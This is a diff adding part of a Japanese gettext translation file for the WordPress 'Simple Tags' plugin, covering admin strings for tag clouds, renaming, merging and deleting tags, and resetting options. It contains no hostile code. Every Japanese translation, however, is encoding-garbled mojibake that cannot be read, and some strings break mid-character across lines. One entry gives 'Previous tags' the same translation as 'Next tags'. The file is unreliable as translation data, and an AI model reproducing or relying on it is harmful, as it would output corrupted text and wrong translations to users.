+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:471
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "è¡šç€ºããã¿ã°ã®æå€§æ°: (ããã©ã«ã: 45)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:451
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:472
+msgid "Enter the text to show when there is no tag:"
+msgstr "ã¿ã°ãç¡ããšãã«è¡šç€ºãããã­ã¹ã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:453
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:474
+msgid "Most popular color:"
+msgstr "æãäœ¿çšãããŠããã¿ã°ã®è²:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:454
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:475
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "è²ã¯ 6 æ¡ã® 16 é²æ°ã§å
+¥åããŸã (#eee ã¯ #eeeeee ã®çç¥åœ¢ã§ã)ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:455
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:476
+msgid "Least popular color:"
+msgstr "æãäœ¿çšãããŠããªãã¿ã°ã®è²:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:456
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:477
+msgid "Most popular font size:"
+msgstr "æãäœ¿çšãããŠããã¿ã°ã®ãã©ã³ããµã€ãº:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:457
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:478
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "ãã® 2 ã€ã®ãã©ã³ããµã€ãºã¯ããããæãäœ¿çšãããŠããã¿ã°ãšæãäœ¿çšãããŠããªãã¿ã°ã®ãµã€ãºã§ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:458
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:479
+msgid "Least popular font size:"
+msgstr "æãäœ¿çšãããŠããªãã¿ã°ã®ãã©ã³ããµã€ãº:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:459
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:480
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "ã¿ã°ã¯ã©ãŠãã®ãã©ã³ããµã€ãºã§äœ¿çšããåäœ:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:460
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:481
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "ãã® 2 ã€ã®ãã©ã³ããµã€ãºã§äœ¿çšãããã©ã³ãã®åäœã§ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:462
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:483
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "<code>st_tag_cloud()</code> é¢æ°ãšåãã·ã³ã¿ãã¯ã¹ãäœ¿çšããŠè¡šç€ºãã«ã¹ã¿ãã€ãºã§ããŸããè©³ããã¯ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ãã­ã¥ã¡ã³ããŒã·ã§ã³</a> ãåç
+§ããŠãã ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:476
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:497
+msgid "Options saved"
+msgstr "èš­å®ã¯ä¿å­ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:480
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:501
+msgid "Simple Tags options resetted to default options!"
+msgstr "Simple Tags ã®èš­å®ãããã©ã«ãã«ãªã»ããããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:486
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:507
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "ãã¹ãŠã® Simple Tags èš­å®ãåé€ããŸãã ! <a href=\"%s\">ãã©ã°ã€ã³ã®äœ¿çšãåæ­¢</a>ããŠãã ãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:526
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "èš­å®ãæŽæ°ãã &raquo;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:527
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:551
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:520
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:543
+msgid "Do you really want to restore the default options?"
+msgstr "ããã©ã«ãã®èš­å®ã«æ»ããŸãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:527
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:551
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:520
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:543
+msgid "Reset Options"
+msgstr "èš­å®ã®ãªã»ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:534
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:527
+msgid "Uninstallation"
+msgstr "ã¢ã³ã€ã³ã¹ããŒã«"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:540
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:533
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "éåžžã¯ãã®ãã©ã°ã€ã³ã®äœ¿çšãåæ­¢ããŠãèš­å®ããŒã¿ã¯åé€ãããŸãããSimple Tags ãä»åŸã¯äœ¿çšããªãã®ã§ããã°ãäœ¿çšåæ­¢åã«<strong>ãã¹ãŠã®</strong>èš­å®ããŒã¿ãåé€ããŠãã ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:541
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:534
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "Simple Tags ã®ãã¹ãŠã®èš­å®ãåé€ããŸãã<strong>åæ¶ãã¯ã§ããŸããã®ã§ãæ³šæããŠãã ããã</strong>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:544
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:537
+msgid "Delete all options ?"
+msgstr "ãã¹ãŠã®èš­å®ãåé€ããŸãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:568
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1714
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:559
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1187
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "ã»ã­ã¥ãªãã£åé¡ããããŸããååºŠãè©Šããã ããããããã®åé¡ãç¶ããããªã <a href=\"mailto:amaury@wordpress-fr.net\">ãã©ã°ã€ã³äœè
+</a>é£çµ¡ããŠãã ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:601
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:171
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:161
+msgid "Most popular"
+msgstr "äœ¿ãããŠããé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:602
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:161
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:172
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:151
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:162
+msgid "Least used"
+msgstr "äœ¿ãããŠããªãé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:603
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:158
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:169
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:148
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:159
+msgid "Alphabetical"
+msgstr "ã¢ã«ãã¡ãããé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:634
+msgid "Existing Tags"
+msgstr "æ¢å­ã®ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:638
+msgid "Search tags"
+msgstr "ã¿ã°ã®æ€çŽ¢"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:642
+msgid "Go"
+msgstr "æ€çŽ¢"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:645
+msgid "Sort Order:"
+msgstr "è¡šç€ºé :"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:660
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1844
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "%s ã¿ã°ãä»ããããŠããæçš¿ããã¹ãŠè¡šç€º"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:671
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1859
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1861
+msgid "Previous tags"
+msgstr "æ¬¡ã®ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:671
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1865
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1867
+msgid "Next tags"
+msgstr "æ¬¡ã®ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:679
+msgid "Rename Tag"
+msgstr "ã¿ã°åã®å€æŽ"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:680
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "åç§°ãå€æŽããã¿ã°ãšæ°ããåç§°ãå
+¥åããŠãã ããããã®æ©èœã¯ã¿ã°ã®çµ±åã«ãå©çšã§ããŸãã\"ã¿ã°åå€æŽ\" ãã¯ãªãã¯ãããšãã®ã¿ã°ãäœ¿çšããŠãããã¹ãŠã®æçš¿ãæŽæ°ãããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:681
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:722
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "è€æ°ã®ã¿ã°ã®åç§°ãå€æŽããã«ã¯åã¿ã°ãã³ã³ãã§åºåããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:686
+msgid "Tag(s) to rename:"
+msgstr "å€æŽããã¿ã°:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:687
+msgid "New tag name(s):"
+msgstr "æ°ããã¿ã°å:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:688
+msgid "Rename"
+msgstr "ã¿ã°åå€æŽ"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:693
+msgid "Delete Tag"
+msgstr "ã¿ã°ã®åé€"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:694
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "åé€ããã¿ã°åãå
+¥åããŠãã ããããã®ã¿ã°ã¯ãã¹ãŠã®æçš¿ããåãé€ãããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:695
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "è€æ°ã®ã¿ã°ãåé€ããã«ã¯åã¿ã°ãã³ã³ãã§åºåããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:700
+msgid "Tag(s) to delete:"
+msgstr "åé€ããã¿ã°:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:701
+msgid "Delete"
+msgstr "åé€"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:706
+msgid "Add Tag"
+msgstr "ã¿ã°ã®è¿œå "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:707
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "æ€çŽ¢ããã¿ã° (è€æ°å¯) ã«è©²åœãããã¹ãŠã®æçš¿ã« 1 ã€ä»¥äžã®ã¿ã°ãè¿œå ããããšãã§ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:708
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "è€æ°ã®ã¿ã°ãè¿œå ããã«ã¯åã¿ã°ãã³ã³ãã§åºåããŸããæ€çŽ¢ããã¿ã°ãç©ºçœã«ãããšããã¹ãŠã®æçš¿ã«ã¿ã°ãè¿œå ã§ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:713
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:728
+msgid "Tag(s) to match:"
+msgstr "æ€çŽ¢ããã¿ã°:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:714
+msgid "Tag(s) to add:"
+msgstr "è¿œå ããã¿ã°:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:715
+msgid "Add"
+msgstr "è¿œå "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:720
+msgid "Edit Tag Slug"
+msgstr "ã¿ã°ã¹ã©ãã°ã®ç·šé"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:721
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "ã¹ã©ãã°ãç·šéããã¿ã°å (æ€çŽ¢ããã¿ã°) ãšæ°ããã¹ã©ãã°ãå
+¥åããŠãã ããã<a href=\"http://codex.wordpress.org/Glossary#Slug\">ã¹ã©ãã°ãšã¯ ? (è±èª)</a>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:732
+msgid "Slug(s) to set:"
+msgstr "èš­å®ããã¹ã©ãã°:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:737
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:916
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:782
+msgid "Edit"
+msgstr "ç·šé"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:743
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:571
+msgid "Remove empty terms"
+msgstr "ç©ºã¿ã°ã®åé€"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:744
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 ã«ã¯å°ããªãã°ããããç©ºã®ã¿ã°ãäœæã§ããŠããŸããŸãããããåãé€ããŸã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:748
+msgid "Clean !"
+msgstr "åãé€ã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "èªå¥ãæ€çŽ¢&hellip;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:854
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:752
+msgid "Quantity&hellip;"
+msgstr "è¡šç€ºæ°&hellip;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "äœæè
+&hellip;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "ãã¹ãŠ"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "ã¿ã€ã&hellip;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "æçš¿"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "ããŒãž"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "è¡šç€ºé &hellip;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "æ¥ (éé )"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "æ¥ (æé )"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "ID (éé )"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID (æé )"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "ãã£ã«ã¿ãŒ&hellip;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "å
+šãŠ"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "ã¿ã°ç¡ãã®ã¿"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "ãã£ã«ã¿ãŒ &#187;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:912
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "ãã¹ãŠãæŽæ°ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:936
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:810
+msgid "No content to edit."
+msgstr "ç·šéããã³ã³ãã³ãã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "ã¿ã° (è€æ°ã®ã¿ã°ã¯ã³ã³ãã§åºåã£ãŠãã ãããäŸ: cats, pet food, dogs)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1105
+msgid "No new tag specified!"
+msgstr "æ°ããã¿ã°ãæå®ãããŠããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1124
+msgid "No new/old valid tag specified!"
+msgstr "æ°ãã / å€ãæå¹ãªã¿ã°ãæå®ãããŠããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1156
+msgid "No tag renamed."
+msgstr "åç§°ãå€æŽããã¿ã°ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1159
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "ã¿ã°åã &laquo;%1$s&raquo; ãã &laquo;%2$s&raquo; ã«å€æŽããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1166
+msgid "No valid new tag."
+msgstr "æå¹ãªæ°ããã¿ã°ã§ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1183
+msgid "No objects (post/page) found for specified old tags."
+msgstr "æå®ãããå€ãã¿ã°ã«è©²åœãããªããžã§ã¯ã (æçš¿ / ããŒãž) ã¯èŠã€ãããŸããã§ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1208
+msgid "No tag merged."
+msgstr "ããŒãžãããã¿ã°ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1211
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "ã¿ã° &laquo;%1$s&raquo; ã &laquo;%2$s&raquo; ã«çµ±åããŸããã%3$s åã®ãªããžã§ã¯ããç·šéããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1214
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "ãšã©ãŒãåç§°å€æŽããããã¯çµ±åããã¿ã°ãéžæããŠãã ãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1240
+msgid "No tag specified!"
+msgstr "ã¿ã°ãæå®ãããŠããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1265
+msgid "No tag deleted."
+msgstr "åé€ãããã¿ã°ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1268
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%1s åã®ã¿ã°ãåé€ããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1280
+msgid "No new tag(s) specified!"
+msgstr "æ°ããã¿ã°ãæå®ãããŠããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1328
+msgid "No tag added."
+msgstr "è¿œå ãããã¿ã°ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1331
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "%1s ä»¶ã®æçš¿ã«ã¿ã°ãè¿œå ããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1343
+msgid "No new slug(s) specified!"
+msgstr "æ°ããã¹ã©ãã°ãæå®ãããŠããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1359
+msgid "Tags number and slugs number isn't the same!"
+msgstr "ã¿ã°ã®æ°ãšã¹ã©ãã°ã®æ°ãéããŸã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1383
+msgid "No slug edited."
+msgstr "ã¹ã©ãã°ã¯ç·šéãããŠããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1386
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s åã®ã¹ã©ãã°ãç·šéããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1404
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1077
+msgid "Nothing to muck. Good job !"
+msgstr "åãé€ããã®ã¯ãããŸãããããã§ããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1429
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1105
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s è¡ãåé€ããŸãããWordPress DB ã¯ã¯ãªãŒã³ã§ã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1452
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1118
+msgid "Display click tags"
+msgstr "ã¯ãªãã¯ã¿ã°ãè¡šç€ºãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1452
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1119
+msgid "Hide click tags"
+msgstr "ã¯ãªãã¯ã¿ã°ãé ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1504
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1136
+msgid "Suggested tags from :"
+msgstr "ããããã¿ã°ã®åŒçšå
+:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1505
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1137
+msgid "Local tags"
+msgstr "ã­ãŒã«ã«ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1506
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1138
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1507
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1139
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1513
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1142
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "ããããã¿ã°ã®æäŸå
+ãéžæããŠãã ãã (ã­ãŒã«ã«ãyahoo ãããã¯ tag the net)ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1742
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1217
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "%s ä»¶ã®æçš¿ã®ã¿ã°ãæŽæ°ããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:1744
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1219
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "%s ä»¶ã®ããŒãžã®ã¿ã°ãæŽæ°ããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2155
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1547
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "ããŒãž:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2274
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1649
+msgid "General"
+msgstr "äžè¬èš­å®"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2277
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1652
+msgid "Administration"
+msgstr "ç®¡ç"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2280
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1655
+msgid "Meta Keyword"
+msgstr "ã¡ã¿ã­ãŒã¯ãŒã"
+
